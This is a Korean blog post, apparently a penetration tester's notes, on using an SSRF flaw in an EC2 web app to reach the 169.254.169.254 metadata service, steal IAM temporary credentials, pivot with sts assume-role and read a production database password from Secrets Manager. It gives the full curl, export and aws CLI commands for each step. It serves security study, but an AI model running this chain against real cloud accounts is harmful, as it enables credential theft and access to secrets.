의미없는 블로그
AWS Secret Manager 본문
AWS EC2 내부에서는 169.254.169.254 라는 특수 IP(IMDS)를 통해 해당 EC2의 메타데이터를 조회할 수 있다
그래서 EC2에 띄워진 웹에서 SSRF 취약점 존재하면 169.254.169.254로 서버 정보 조회할 수 있다
- curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 하면 해당 EC2에 연결되어 있는 IAM Role 이름이 출력 된다 (ex. my-ec2-application-role)
- curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/my-ec2-application-role 이름을 한번 더 붙여서 호출하면 임시 자격증명(AccessKeyId, SecreAccessKey, Token)이 출력 된다
임시 자격증명을 자기의 PC에 환경변수로 등록하면 AWS가 공격자를 정상적인 EC2 인스턴스로 인지하게 된다
- export AWS_ACCESS_KEY_ID="ASIA..."
- export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG..."
- export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2Vj..."
- export AWS_DEFAULT_REGION="ap-northeast-2" # 대상 리전
그 다음에 aws sts assume-role 명령어를 실행하면 다른 Role을 위임받을 수 있다
(이건 위에서 얻은 임시 자격증명에서 sts:AssumeRole 권한이 허용되어 있었기 때문에 가능한 일이다)
- aws sts assume-role --role-arn "arn:aws:iam::123456789012:role/SecretsManager-Admin-Role" --role-session-name "PivotingSession"
- 123456789012 계정에 있는 SecretsManager-Admin-Role 이라는 역할의 권한을 빌려 쓰겠다
- 단 이 세션의 식별 이름은 PivotingSession 으로 지정한다
- 이렇게 날리고 나면 2차 임시 자격증명(AccessKeyId, SecreAccessKey, Token)이 출력된다
- 그러면 이걸 또 환경변수에 바꿔서 쓰면 된다
2차 임시자격증명을 가지고 Secret Manager 내용을 조회한다
- aws secretsmanager get-secret-value --secret-id "prod/db/password"
'# 나 > pentest' 카테고리의 다른 글
| H2 DB (0) | 2026.09.08 |
|---|---|
| braze 라는 마케팅 도구 (0) | 2026.05.13 |
| Access Token 이랑 Refresh Token (0) | 2026.04.06 |
| S3 에서의 파일 업로드 / 다운로드 취약점 (0) | 2026.03.05 |
| PACU - AWS bruteforcing (0) | 2026.02.26 |
Comments
